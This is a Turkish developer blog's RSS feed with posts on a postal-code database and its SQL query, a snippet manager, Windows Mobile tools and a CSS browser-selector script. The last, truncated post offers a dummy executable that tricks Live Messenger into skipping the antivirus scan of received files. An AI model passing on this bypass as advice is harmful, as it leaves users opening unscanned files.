<?xml version="1.0" encoding="utf-8"?> <rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" ><channel><title>Muzaffer AKYIL (Victorious) &#187; Yazılım</title> <atom:link href="http://muzaffer.akyil.net/category/makale/yazilim/feed" rel="self" type="application/rss+xml" /><link>http://muzaffer.akyil.net</link> <description></description> <lastBuildDate>Tue, 08 Mar 2011 09:18:58 +0000</lastBuildDate> <language>en</language> <sy:updatePeriod>hourly</sy:updatePeriod> <sy:updateFrequency>1</sy:updateFrequency> <generator>http://wordpress.org/?v=</generator> <item><title>İl &#8211; İlçe &#8211; Semt &#8211; Mahalle &#8211; Köy &#8211; Plaka &#8211; Posta Kodu Veritabanı</title><link>http://muzaffer.akyil.net/2010/11/30/makale/yazilim/sql/admin/il_ilce_semt_mahalle_koy_plaka_posta_kutusu_veritabani.aspx</link> <comments>http://muzaffer.akyil.net/2010/11/30/makale/yazilim/sql/admin/il_ilce_semt_mahalle_koy_plaka_posta_kutusu_veritabani.aspx#comments</comments> <pubDate>Tue, 30 Nov 2010 13:40:21 +0000</pubDate> <dc:creator>Muzaffer Ali AKYIL</dc:creator> <category><![CDATA[SQL]]></category> <category><![CDATA[database]]></category> <category><![CDATA[db]]></category> <category><![CDATA[Excel]]></category> <category><![CDATA[il]]></category> <category><![CDATA[ilçe]]></category> <category><![CDATA[köy]]></category> <category><![CDATA[mahalle]]></category> <category><![CDATA[plaka]]></category> <category><![CDATA[posta kodu]]></category> <category><![CDATA[ptt]]></category> <category><![CDATA[veritabanı]]></category><guid isPermaLink="false">http://www.muzafferakyil.com/2008/01/25/makale/yazilim/sql/admin/il-ile-mahalle-veritabani.aspx</guid> <description><![CDATA[Eğer web sitesi yada program yazan biri iseniz yada işiniz gereği il ilçe mahalle bilgisine ihtiyaç duyuyorsanız bu konu sizi çok ilgilendirmektedir. PTT den 30.11.2010 tarihi itibariyle aldığım il &#8211; plaka &#8211; ilçe &#8211; semt &#8211; mahalle &#8211; köy &#8211; posta kodu veritabanını normal kullanıcıların ve biz programcıların kullanabileceği formatta sizlere sunuyorum. GÜNCELLEME 19.08.2009 tarihi [...]]]></description> <content:encoded><![CDATA[<p>Eğer web sitesi yada program yazan biri iseniz yada işiniz gereği il ilçe mahalle bilgisine ihtiyaç duyuyorsanız bu konu sizi çok ilgilendirmektedir.<br /> <br /> PTT den 30.11.2010 tarihi itibariyle aldığım <strong><span style="color: #ff0000;">il &#8211; plaka &#8211; ilçe &#8211; semt &#8211; mahalle &#8211; köy &#8211; posta kodu</span></strong> veritabanını normal kullanıcıların ve biz programcıların kullanabileceği formatta sizlere sunuyorum.<br /> <span id="more-103"></span></p><blockquote><p><strong><span style="color: #ff0000;">GÜNCELLEME</span></strong></p><p><del datetime="30.11.2010" cite="güncelleme">19.08.2009 tarihi itibariyle PTT den alınan veritabanı ile köylerde dahil olmak üzere güncellenmiştir.</del><br /> <ins datetime="30.11.2010" cite="güncelleme">30.11.2010 tarihi itibariyle PTT den alınan veritabanı ile güncellenip 3 farklı coding ile yayınlanmıştır.</ins></p></blockquote><h5>Nerede ?</h5><p><a href="http://muzaffer.akyil.net/wp-content/uploads/il_ilce_semt_mahalle_koy_excel2003.rar" class="lizip">İl İlçe Semt Mahalle Köy Plaka Posta Kodu &#8211; Excel 2003</a></p><p><a href="http://muzaffer.akyil.net/wp-content/uploads/il_ilce_semt_mah_pk_latin1_ansi.rar" class="lizip">İl İlçe Semt Mahalle Köy Plaka Posta Kodu &#8211; MySQL &#8211; Latin1 &#8211; ANSI</a></p><p><a href="http://muzaffer.akyil.net/wp-content/uploads/il_ilce_semt_mah_pk_latin5_ansi.rar" class="lizip">İl İlçe Semt Mahalle Köy Plaka Posta Kodu &#8211; MySQL &#8211; Latin5 &#8211; ANSI</a></p><p><a href="http://muzaffer.akyil.net/wp-content/uploads/il_ilce_semt_mah_pk_utf8.rar" class="lizip">İl İlçe Semt Mahalle Köy Plaka Posta Kodu &#8211; MySQL &#8211; UTF8</a></p><h5>Nasıl ?</h5><p>MySQL veritabanı şekliyle verilerin birbirine bağlantısı aşağıdaki gibidir ;</p><div id="attachment_394" class="wp-caption aligncenter" style="width: 310px"><a href="http://muzaffer.akyil.net/wp-content/uploads/iismkpp.png" class="liimagelink"><img class="size-medium wp-image-394   colorbox-103" title="İl İlçe Semt Mahalle Köy Plaka Posta Kodu Veritabanı" src="http://muzaffer.akyil.net/wp-content/uploads/iismkpp-300x71.png" alt="İl İlçe Semt Mahalle Köy Plaka Posta Kodu Veritabanı" width="300" height="71" /></a><p class="wp-caption-text">İl İlçe Semt Mahalle Köy Plaka Posta Kodu</p></div><p>MySQL Sorgu olarak şu şekilde kullanılabilir ;</p><pre class="brush: sql; ">

SELECT il.IL_ID,
       il.IL_ADI_BUYUK,
       il.IL_ADI,
       il.IL_ADI_KUCUK,
       il.PLAKA,
       ilce.ILCE_ID,
       ilce.ILCE_ADI_BUYUK,
       ilce.ILCE_ADI,
       ilce.ILCE_ADI_KUCUK,
       semt.SEMT_ID,
       semt.SEMT_ADI_BUYUK,
       semt.SEMT_ADI,
       semt.SEMT_ADI_KUCUK,
       semt.POSTA_KODU,
       mahalle_koy.MAH_ID,
       mahalle_koy.MAHALLE_ADI_BUYUK,
       mahalle_koy.MAHALLE_ADI,
       mahalle_koy.MAHALLE_ADI_KUCUK
FROM   il
       LEFT JOIN ilce
            ON  ilce.IL_ID = il.IL_ID
       LEFT JOIN semt
            ON  semt.ILCE_ID = ilce.ILCE_ID
       LEFT JOIN mahalle_koy
            ON  mahalle_koy.SEMT_ID = semt.SEMT_ID
</pre><p>Kolay Gelsin&#8230;</p> <iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fmuzaffer.akyil.net%2F2010%2F11%2F30%2Fmakale%2Fyazilim%2Fsql%2Fadmin%2Fil_ilce_semt_mahalle_koy_plaka_posta_kutusu_veritabani.aspx&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light&amp;height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:450px; height:80px;" allowTransparency="true"></iframe><img class="colorbox-103"  src="http://muzaffer.akyil.net/?ak_action=api_record_view&id=103&type=feed" alt="" />]]></content:encoded> <wfw:commentRss>http://muzaffer.akyil.net/2010/11/30/makale/yazilim/sql/admin/il_ilce_semt_mahalle_koy_plaka_posta_kutusu_veritabani.aspx/feed</wfw:commentRss> <slash:comments>19</slash:comments> </item> <item><title>CodeBank &#8211; Programcının Eli Ayağı</title><link>http://muzaffer.akyil.net/2010/11/29/makale/yazilim/admin/codebank-programcinin-eli-ayagi.aspx</link> <comments>http://muzaffer.akyil.net/2010/11/29/makale/yazilim/admin/codebank-programcinin-eli-ayagi.aspx#comments</comments> <pubDate>Mon, 29 Nov 2010 21:21:08 +0000</pubDate> <dc:creator>Muzaffer Ali AKYIL</dc:creator> <category><![CDATA[Yazılım]]></category> <category><![CDATA[asp]]></category> <category><![CDATA[code]]></category> <category><![CDATA[codebank]]></category> <category><![CDATA[js]]></category> <category><![CDATA[katalog]]></category> <category><![CDATA[kod bankası]]></category> <category><![CDATA[not]]></category> <category><![CDATA[PHP]]></category> <category><![CDATA[snippet]]></category><guid isPermaLink="false">http://muzaffer.akyil.net/?p=382</guid> <description><![CDATA[Bu yazımda benim gibi kodlarla içli dışlı olan programcılara basit ve kullanışlı ve ücretsiz bir yazılımı tanıtacağım. Nikola Dachev tarafından geliştirilen CodeBank yazılımı hiyerarşik bir ağaç yapısında istediğimiz şekilde kategoriler oluşturup,  oluşturduğumuz kategoriler içerisine bizim için çok değerli olan code snippet&#8217;lerimizi (kod parçalarımızı) kaydetmemize ve yönetmemize yardımcı oluyor. Yani bir gün lazım olur diye kullandığınız [...]]]></description> <content:encoded><![CDATA[<p>Bu yazımda benim gibi kodlarla içli dışlı olan programcılara basit ve kullanışlı ve <span style="color: #ff0000;"><strong>ücretsiz</strong></span> bir yazılımı tanıtacağım.</p><p><a href="http://www.zeraha.org/" target="_blank" class="liexternal previewlink">Nikola Dachev</a> tarafından geliştirilen <a href="http://www.zeraha.org/file.1.html" target="_blank" class="liexternal previewlink">CodeBank</a> yazılımı hiyerarşik bir ağaç yapısında istediğimiz şekilde kategoriler oluşturup,  oluşturduğumuz kategoriler içerisine bizim için çok değerli olan code snippet&#8217;lerimizi (kod parçalarımızı) kaydetmemize ve yönetmemize yardımcı oluyor.</p><p><span id="more-382"></span></p><p>Yani bir gün lazım olur diye kullandığınız kod yapılarınızı bu programda saklayıp daha sonra 1-2 tıkla ulaşabiliyorsunuz. Ben şahsen bu yazılımdan önce aradığım kod yapısını kullandığım projeyi hatırlayıp açıp bulmak zorunda kalıyordum. Programcıların çok işine yarayacağı gibi program geliştirmeyenler de istedikleri notları bu yazılımda tutabilirler tabi ki.</p><p>Bu arada bu yazılımın öne çıkan özelliklerinden biride <strong>C/C++, Object Pascal, Java, XML, Visual Basic, VBScript, JavaScript, CSS, HTML, PHP, Perl, Python, SQL</strong> dillerinde syntax renklendirmesi sağlaması. Bu dillerde göze uygun renklendirmeler ile kodu daha zengin gösterebiliyor. Ayretten eklediğiniz kodları export ve import edebiliyor.</p><h5>Neye Benziyor ?</h5><p><a href="http://muzaffer.akyil.net/wp-content/uploads/codebank.png" class="liimagelink"><img class="size-thumbnail wp-image-383 alignnone colorbox-382" title="codebank" src="http://muzaffer.akyil.net/wp-content/uploads/codebank-150x150.png" alt="" width="150" height="150" /></a></p><h5>Nereden İndirebilirim ?</h5><p><a href="http://www.zeraha.org/file.1.html" target="_blank" class="liexternal previewlink">http://www.zeraha.org/file.1.html</a></p> <iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fmuzaffer.akyil.net%2F2010%2F11%2F29%2Fmakale%2Fyazilim%2Fadmin%2Fcodebank-programcinin-eli-ayagi.aspx&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light&amp;height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:450px; height:80px;" allowTransparency="true"></iframe><img class="colorbox-382"  src="http://muzaffer.akyil.net/?ak_action=api_record_view&id=382&type=feed" alt="" />]]></content:encoded> <wfw:commentRss>http://muzaffer.akyil.net/2010/11/29/makale/yazilim/admin/codebank-programcinin-eli-ayagi.aspx/feed</wfw:commentRss> <slash:comments>2</slash:comments> </item> <item><title>Windows Mobile için Arama Süresi Takibi</title><link>http://muzaffer.akyil.net/2010/04/16/makale/yazilim/admin/windows-mobile-icin-arama-suresi-takibi.aspx</link> <comments>http://muzaffer.akyil.net/2010/04/16/makale/yazilim/admin/windows-mobile-icin-arama-suresi-takibi.aspx#comments</comments> <pubDate>Fri, 16 Apr 2010 12:31:55 +0000</pubDate> <dc:creator>Muzaffer Ali AKYIL</dc:creator> <category><![CDATA[Windows Mobile]]></category> <category><![CDATA[Yazılım]]></category> <category><![CDATA[arama]]></category> <category><![CDATA[call]]></category> <category><![CDATA[kontör]]></category> <category><![CDATA[microsoft]]></category> <category><![CDATA[mobile]]></category> <category><![CDATA[sayaç]]></category> <category><![CDATA[timer]]></category><guid isPermaLink="false">http://muzaffer.akyil.net/?p=304</guid> <description><![CDATA[Daha önceki makalemizde Windows Mobile cihazlar için arama sürelerinin sıfırlanmasını konu etmiştik. GSM şirketlerinin şu kadar dakika bedava kampanyalarında limitimizi aşmamak için arama sürelerimizin takibini yapabilmek için bir yazılımı sizinle paylaşmak istedim. Bielik isimli bir vatandaş bu iş için gayet başarılı bir program yazmış. Programın ismi Call Timers. Çok basit bir şekilde bize giden aramaları, [...]]]></description> <content:encoded><![CDATA[<p><a href="http://muzaffer.akyil.net/wp-content/uploads/calltimers_sm.jpg" class="liimagelink"><img class="alignleft size-thumbnail wp-image-305 colorbox-304" title="Call Timers v1.0" src="http://muzaffer.akyil.net/wp-content/uploads/calltimers_sm-150x150.jpg" alt="Windows Mobile için Arama Süresi Sayacı" width="150" height="150" /></a>Daha önceki <a href="http://muzaffer.akyil.net/2010/04/16/makale/os/windows-mobile/admin/windows-mobile-icin-arama-surelerinin-sifirlanmasi.aspx" class="liinternal">makalemizde</a> Windows Mobile cihazlar için arama sürelerinin sıfırlanmasını konu etmiştik. GSM şirketlerinin şu kadar dakika bedava kampanyalarında limitimizi aşmamak için arama sürelerimizin takibini yapabilmek için bir yazılımı sizinle paylaşmak istedim.</p><p><a href="http://blog.bielik.org" target="_blank" class="liexternal previewlink">Bielik</a> isimli bir vatandaş bu iş için gayet başarılı bir program yazmış. Programın ismi Call Timers. Çok basit bir şekilde bize giden aramaları, gelen yapılan araları ve internet aramalarının sürelerini gösteriyor.</p><h5>İndirmek için ;</h5><p><a href="http://blog.bielik.org/?page_id=64&amp;lang=en" target="_blank" class="liexternal previewlink">http://blog.bielik.org/?page_id=64&amp;lang=en</a></p> <iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fmuzaffer.akyil.net%2F2010%2F04%2F16%2Fmakale%2Fyazilim%2Fadmin%2Fwindows-mobile-icin-arama-suresi-takibi.aspx&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light&amp;height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:450px; height:80px;" allowTransparency="true"></iframe><img class="colorbox-304"  src="http://muzaffer.akyil.net/?ak_action=api_record_view&id=304&type=feed" alt="" />]]></content:encoded> <wfw:commentRss>http://muzaffer.akyil.net/2010/04/16/makale/yazilim/admin/windows-mobile-icin-arama-suresi-takibi.aspx/feed</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Slider List Control (Windows Mobile i&#231;in User Interface)</title><link>http://muzaffer.akyil.net/2010/04/13/makale/yazilim/visual-basic/admin/slider-list-control-windows-mobile-iin-user-interface.aspx</link> <comments>http://muzaffer.akyil.net/2010/04/13/makale/yazilim/visual-basic/admin/slider-list-control-windows-mobile-iin-user-interface.aspx#comments</comments> <pubDate>Tue, 13 Apr 2010 13:30:25 +0000</pubDate> <dc:creator>Muzaffer Ali AKYIL</dc:creator> <category><![CDATA[Visual Basic]]></category> <category><![CDATA[Windows Mobile]]></category> <category><![CDATA[.net]]></category> <category><![CDATA[basic]]></category> <category><![CDATA[component]]></category> <category><![CDATA[microsoft]]></category> <category><![CDATA[mobile]]></category> <category><![CDATA[net cf]]></category> <category><![CDATA[ui]]></category> <category><![CDATA[user interface]]></category> <category><![CDATA[visual]]></category> <category><![CDATA[Windows]]></category> <category><![CDATA[winmo]]></category><guid isPermaLink="false">http://muzaffer.akyil.net/2010/04/13/makale/yazilim/visual-basic/admin/slider-list-control-windows-mobile-iin-user-interface.aspx</guid> <description><![CDATA[Windows Mobile üzerinde program geliştirmek isteyenler için Visual Studio.NET ile Microsoft Windows Mobile SDK kurulumları yapıldıktan sonra, Visual Studio.NET&#8217;in kendi toolbox&#8217;ından standart .NET CF takımlarını kullanarak formlar hazırlanır. Fakat standart .NET CF User Interface (Kullanıcı Arayüzü) takımları hem grafiksel olarak basit hem de yeni nesil Mobile yazılımlara göre çok sade durur. xda-developers.com forumlarında Obelix_A isimli [...]]]></description> <content:encoded><![CDATA[<p>Windows Mobile üzerinde program geliştirmek isteyenler için Visual Studio.NET ile Microsoft Windows Mobile SDK kurulumları yapıldıktan sonra, Visual Studio.NET&#8217;in kendi toolbox&#8217;ından standart .NET CF takımlarını kullanarak formlar hazırlanır. Fakat standart .NET CF User Interface (Kullanıcı Arayüzü) takımları hem grafiksel olarak basit hem de yeni nesil Mobile yazılımlara göre çok sade durur.<span id="more-249"></span></p><p><a href="http://forum.xda-developers.com" target="_blank" class="liexternal previewlink">xda-developers.com</a> forumlarında <a href="http://forum.xda-developers.com/member.php?u=654367" target="_blank" class="liexternal previewlink">Obelix_A</a> isimli vatandaş HTC Sense deki gibi şık, kaydırma animasyonlu bir UI yayınladı. Daha deneme fırsatı bulamadım ama ilgili component ile yapılmış <a href="http://forum.xda-developers.com/showthread.php?t=624668" target="_blank" class="liexternal previewlink">bir yazılımın Türkçeleştirilmesini</a> yaptım. Ve gayet şık olduğunu söyleyebilirim.</p><p>Componente <a href="http://forum.xda-developers.com/showthread.php?t=634316" target="_blank" class="liexternal previewlink">buradan</a> <em>(üyelik gerektirir)</em> ulaşabilir, çok beğendiyseniz ve yazan vatandaşa destekte bulunmak istiyorsanız <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=6R7K9E7QQXN9U" target="_blank" class="liexternal previewlink">buradan</a> bağış yapabilirsiniz.</p><h5>Ekran görüntüleri aşağıdaki gibidir ;</h5><a href='http://muzaffer.akyil.net/2010/04/13/makale/yazilim/visual-basic/admin/slider-list-control-windows-mobile-iin-user-interface.aspx/attachment/checkitems' title='checkitems'><img width="150" height="150" src="http://muzaffer.akyil.net/wp-content/uploads/checkitems-150x150.jpg" class="attachment-thumbnail colorbox-249" alt="checkitems" title="checkitems" /></a> <a href='http://muzaffer.akyil.net/2010/04/13/makale/yazilim/visual-basic/admin/slider-list-control-windows-mobile-iin-user-interface.aspx/attachment/collapsedgroup' title='collapsedgroup'><img width="150" height="150" src="http://muzaffer.akyil.net/wp-content/uploads/collapsedgroup-150x150.jpg" class="attachment-thumbnail colorbox-249" alt="collapsedgroup" title="collapsedgroup" /></a> <a href='http://muzaffer.akyil.net/2010/04/13/makale/yazilim/visual-basic/admin/slider-list-control-windows-mobile-iin-user-interface.aspx/attachment/radioitems' title='radioitems'><img width="150" height="150" src="http://muzaffer.akyil.net/wp-content/uploads/radioitems-150x150.jpg" class="attachment-thumbnail colorbox-249" alt="radioitems" title="radioitems" /></a> <a href='http://muzaffer.akyil.net/2010/04/13/makale/yazilim/visual-basic/admin/slider-list-control-windows-mobile-iin-user-interface.aspx/attachment/simpletext' title='simpletext'><img width="150" height="150" src="http://muzaffer.akyil.net/wp-content/uploads/simpletext-150x150.jpg" class="attachment-thumbnail colorbox-249" alt="simpletext" title="simpletext" /></a><iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fmuzaffer.akyil.net%2F2010%2F04%2F13%2Fmakale%2Fyazilim%2Fvisual-basic%2Fadmin%2Fslider-list-control-windows-mobile-iin-user-interface.aspx&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light&amp;height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:450px; height:80px;" allowTransparency="true"></iframe><img class="colorbox-249"  src="http://muzaffer.akyil.net/?ak_action=api_record_view&id=249&type=feed" alt="" />]]></content:encoded> <wfw:commentRss>http://muzaffer.akyil.net/2010/04/13/makale/yazilim/visual-basic/admin/slider-list-control-windows-mobile-iin-user-interface.aspx/feed</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>CSS Browser Selector</title><link>http://muzaffer.akyil.net/2010/04/08/makale/yazilim/php/admin/css-browser-selector.aspx</link> <comments>http://muzaffer.akyil.net/2010/04/08/makale/yazilim/php/admin/css-browser-selector.aspx#comments</comments> <pubDate>Thu, 08 Apr 2010 08:27:42 +0000</pubDate> <dc:creator>Muzaffer Ali AKYIL</dc:creator> <category><![CDATA[JavaScript]]></category> <category><![CDATA[PHP]]></category> <category><![CDATA[Yazılım]]></category> <category><![CDATA[box]]></category> <category><![CDATA[chrome]]></category> <category><![CDATA[css]]></category> <category><![CDATA[css hack]]></category> <category><![CDATA[ff]]></category> <category><![CDATA[html]]></category> <category><![CDATA[ie]]></category> <category><![CDATA[seçici]]></category> <category><![CDATA[selector]]></category> <category><![CDATA[stil]]></category> <category><![CDATA[style]]></category><guid isPermaLink="false">http://muzaffer.akyil.net/2010/04/08/makale/yazilim/php/admin/css-browser-selector.aspx</guid> <description><![CDATA[Web tasarım işi ile uğraşanların en büyük sıkıntısı CSS kodlarının her tarayıcıda, hatta aynı tarayıcının farklı versiyonlarında bile değişik yorumlanması sonucunda tasarımcıyı çıldırtmasıdır. Güncellemeler 02 Kasım 2010 (v0.4.0) Bir sayfa tasarlamaya başladığımızda favori kullandığımız tarayıcı ile tasarlarız. W3C standartlarına uygun tasarladığımız sayfalar bile bazı tarayıcılarda sorunlu görünmektedir. Bunun sebebi CSS stil kodlarının yorumlanmasının tarayıcıdan tarayıcıya [...]]]></description> <content:encoded><![CDATA[<p>Web tasarım işi ile uğraşanların en büyük sıkıntısı CSS kodlarının her tarayıcıda, hatta aynı tarayıcının farklı versiyonlarında bile değişik yorumlanması sonucunda tasarımcıyı çıldırtmasıdır.</p><blockquote><p><strong><span style="color: #ff0000;">Güncellemeler</span></strong></p><p>02 Kasım 2010 (v0.4.0)</p></blockquote><p><span id="more-239"></span></p><p>Bir sayfa tasarlamaya başladığımızda favori kullandığımız tarayıcı ile tasarlarız. <a href="http://www.w3.org/" target="_blank" class="liexternal previewlink">W3C</a> standartlarına uygun tasarladığımız sayfalar bile bazı tarayıcılarda sorunlu görünmektedir. Bunun sebebi CSS stil kodlarının yorumlanmasının tarayıcıdan tarayıcıya farklılık göstermesidir. Tasarımcılar bu sorunu her tarayıcı için farklı CSS stilleri yazarak çözmeye çalışırlar. Bu yöntemlerin genel adına CSS Hack denir.</p><p><a href="http://www.google.com/search?q=css+hack" target="_blank" class="liexternal previewlink">CSS Hack</a> işlemleri sırasında hazırladığımız CSS stillerini farklı dosyalarda tutmak, her tarayıcı için farklı yöntemler, comment&#8217;ler uygulamak bazen sıkıcı ve karışıklık meydana getirebilir.</p><p>Başlıkta bahsettiğimiz <a href="http://rafael.adm.br/" target="_blank" class="liexternal previewlink">Rafael Lima</a> tarafından yazılan ve <a href="http://creativecommons.org/licenses/by/2.5/" target="_blank" class="liexternal previewlink">Creative Commons</a> lisansla dağıttığı bu JavaScript kod ile CSS Hack işlemleri çok daha kolay hale getirilmiş.</p><p><a href="http://rafael.adm.br/css_browser_selector/" target="_blank" class="liexternal previewlink">CSS Browser Selector</a> JS koduna <a href="http://rafael.adm.br/css_browser_selector/" target="_blank" class="liexternal previewlink">resmi sitesinden</a> ulaşabilir, örnekleri görebilirsiniz.</p><p>Kodun kullanımı çok basit, yapmanız gereken JS kodu sayfanıza çağırmak ve yazacağınız CSS kodlarında kullanılacak tarayıcı ve işletim sistemleri belirlemek.</p><h5>Kodu sayfanıza eklemek ;</h5><p>&lt;head&gt; &lt;/head&gt; tagları arasında herhangi bir yere aşağıdaki kodu eklemeniz yeterli ;</p><pre class="brush: html; ">
&lt;script src=&quot;css_browser_selector.js&quot; type=&quot;text/javascript&quot;&gt;&lt;/script&gt;
</pre><h5>CSS içinde kullanımı ;</h5><pre class="brush: css; ">
html.gecko div#header { margin: 1em; }
.opera #header { margin: 1.2em; }
.ie .mylink { font-weight: bold; }
.mac.ie .mylink { font-weight: bold; }
.[os].[browser] .mylink { font-weight: bold; } /* .[os] ile .[browser] arasında boşluk yok */
</pre><h5>Kullanılabilen İşletim Sistemi Kodları ;</h5><p>win &#8211; Microsoft Windows<br /> <ins datetime="02.11.2010" cite="v0.4.0">vista &#8211; Microsoft Windows Vista</ins><br /> linux &#8211; Linux (x11 ve linux)<br /> mac &#8211; Mac OS<br /> freebsd &#8211; FreeBSD<br /> ipod &#8211; iPod Touch<br /> iphone &#8211; iPhone<br /> webtv &#8211; WebTV<br /> <del datetime="02.11.2010" cite="0.4.0">mobile &#8211; J2ME Devices (ör: Opera mini)</del><br /> <ins datetime="02.11.2010" cite="v0.4.0">j2me &#8211; J2ME Devices (ex: Opera mini)<br /> blackberry &#8211; BlackBerry<br /> android &#8211; Google Android<br /> mobile &#8211; Tüm mobil cihazlar</ins></p><h5>Kullanılabilen Tarayıcı Kodları ;</h5><p>ie &#8211; Internet Explorer (Tüm Sürümler)<br /> ie8 &#8211; Internet Explorer 8.x<br /> ie7 &#8211; Internet Explorer 7.x<br /> ie6 &#8211; Internet Explorer 6.x<br /> ie5 &#8211; Internet Explorer 5.x<br /> gecko &#8211; Mozilla, Firefox (Tüm Sürümler), Camino<br /> ff2 &#8211; Firefox 2<br /> ff3 &#8211; Firefox 3<br /> ff3_5 &#8211; Firefox 3.5<br /> <ins datetime="02.11.2010" cite="v0.4.0">ff3_6 &#8211; Firefox 3.6</ins><br /> opera &#8211; Opera (Tüm Sürümler)<br /> opera8 &#8211; Opera 8.x<br /> opera9 &#8211; Opera 9.x<br /> opera10 &#8211; Opera 10.x<br /> konqueror &#8211; Konqueror<br /> webkit or safari &#8211; Safari, NetNewsWire, OmniWeb, Shiira, Google Chrome<br /> safari3 &#8211; Safari 3.x<br /> chrome &#8211; Google Chrome<br /> iron &#8211; SRWare Iron</p><h5>Diğer dillerde benzer CSS seçicileri ;</h5><p><a href="http://latimes.rubyforge.org/svn/plugins/css_browser_selector/" target="_blank" class="liexternal previewlink">Ruby on Rails Plugin by Reid MacDonald</a></p><p><a href="http://bastian-allgeier.de/css_browser_selector/" target="_blank" class="liexternal previewlink">PHP CSS Browser Selector by Bastian Allgeier</a></p><p><a href="http://wordpress.org/extend/plugins/browser-specific-css/" target="_blank" class="liwp previewlink">WordPress Plugin by Adrian hanft</a></p> <iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fmuzaffer.akyil.net%2F2010%2F04%2F08%2Fmakale%2Fyazilim%2Fphp%2Fadmin%2Fcss-browser-selector.aspx&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light&amp;height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:450px; height:80px;" allowTransparency="true"></iframe><img class="colorbox-239"  src="http://muzaffer.akyil.net/?ak_action=api_record_view&id=239&type=feed" alt="" />]]></content:encoded> <wfw:commentRss>http://muzaffer.akyil.net/2010/04/08/makale/yazilim/php/admin/css-browser-selector.aspx/feed</wfw:commentRss> <slash:comments>1</slash:comments> </item> <item><title>QMsnAv &#8211; Live Messenger Virüs Programı Atlatma</title><link>http://muzaffer.akyil.net/2010/04/02/makale/guvenlik/admin/qmsnav-live-messenger-virs-programi-atlatma.aspx</link> <comments>http://muzaffer.akyil.net/2010/04/02/makale/guvenlik/admin/qmsnav-live-messenger-virs-programi-atlatma.aspx#comments</comments> <pubDate>Fri, 02 Apr 2010 19:18:01 +0000</pubDate> <dc:creator>Muzaffer Ali AKYIL</dc:creator> <category><![CDATA[Güvenlik]]></category> <category><![CDATA[Nasıl Yapılır]]></category> <category><![CDATA[Visual Basic]]></category> <category><![CDATA[Windows]]></category> <category><![CDATA[aldatma]]></category> <category><![CDATA[antivirus]]></category> <category><![CDATA[atlatma]]></category> <category><![CDATA[kandırma]]></category> <category><![CDATA[live]]></category> <category><![CDATA[messenger]]></category> <category><![CDATA[onecare]]></category> <category><![CDATA[qmsnav]]></category> <category><![CDATA[virus]]></category><guid isPermaLink="false">http://muzaffer.akyil.net/2010/04/02/makale/guvenlik/admin/qmsnav-live-messenger-virs-programi-atlatma.aspx</guid> <description><![CDATA[Bildiğiniz üzere Microsoft Live Messenger 8.5 versiyonu ile gelen bir yenilik Microsoft OneCare antivirus yazılımı. Live Messenger üzerinden size gönderilen dosyaları kabul ettiğinizde sizden dosyanın kontrolü için OneCare&#8217;ı indirip kurmanızı isteyecektir. Sisteminizde kurulu olan bir virüs programı var ise ve aktif olarak anlık dosya hareketlerini tarıyor ise aynı anda farklı bir virüs programı kurmak saçma [...]]]></description> <content:encoded><![CDATA[<p>Bildiğiniz üzere Microsoft Live Messenger 8.5 versiyonu ile gelen bir yenilik Microsoft OneCare antivirus yazılımı. Live Messenger üzerinden size gönderilen dosyaları kabul ettiğinizde sizden dosyanın kontrolü için OneCare&#8217;ı indirip kurmanızı isteyecektir.</p><p>Sisteminizde kurulu olan bir virüs programı var ise ve aktif olarak anlık dosya hareketlerini tarıyor ise aynı anda farklı bir virüs programı kurmak saçma olduğu gibi gereksiz sistem yorulmasına sebep verir.</p><p> <span id="more-212"></span><p>Live Messenger&#8217;ın bu vb. hata mesajlarından sıkılıp Live Messenger&#8217;ı kandırma yolu olarak ufak bir program yazdım. Böylece Live Messenger&#8217;a ben bu virüs programını kullanıyorum, sende bu programı kullanarak gelen dosyayı kontrol et diyerek kandırıyoruz.</p><h4>Nasıl Yaparım :</h4><ul><li><a href="http://muzaffer.akyil.net/wp-content/uploads/2010/04/QMsnAv.rar" class="lizip">QMsnAv.exe</a> yi indirip istediğiniz bir yere kopyalayın.</li><li>Aşağıdaki ekran görüntüsünde gördüğünüz gibi Live Messenger&#8217;ın Araçlar –&gt; Seçenekler Menüsünden Dosya Aktarımı kısmına girip, &#8220;Dosyalarda virüs taramasında bu uygulamayı kullan&#8221; seçimini işaretleyin.</li><li>Gözat butonu ile <a href="http://muzaffer.akyil.net/wp-content/uploads/2010/04/QMsnAv.rar" class="lizip">QMsnAv.exe</a>&#8216;yi kaydettiğiniz yerden seçin.</li><li>Artık size gönderilen tüm dosyaları QMsnAv.exe ile taramaya çalışacak, QMsnAv ise size dosya transfer işleminin bittiğini ve ilgili dosyayı açmayı isteyip istemediğinizi soracaktır.</li></ul><h4>Güvenli mi ?</h4><ul><li>Programın kaynak kodları <a href="http://muzaffer.akyil.net/wp-content/uploads/2010/04/QMsnAv.txt" target="_blank" class="lipdf">burada</a> verilmiştir. İsteyen Visual Basic 6 ile tekrar derleyip kullanabilir yada geliştirebilir.</li><li>Herhangi bir spy vb. yazılım yada kod içermez.</li><li>Sisteminizde aktif kullanılan bir virüs programı bulunmuyor ise lütfen OneCare&#8217;i kullanın yada benim seçimim <a href="http://www.free-av.com" target="_blank" class="liexternal previewlink">Avira 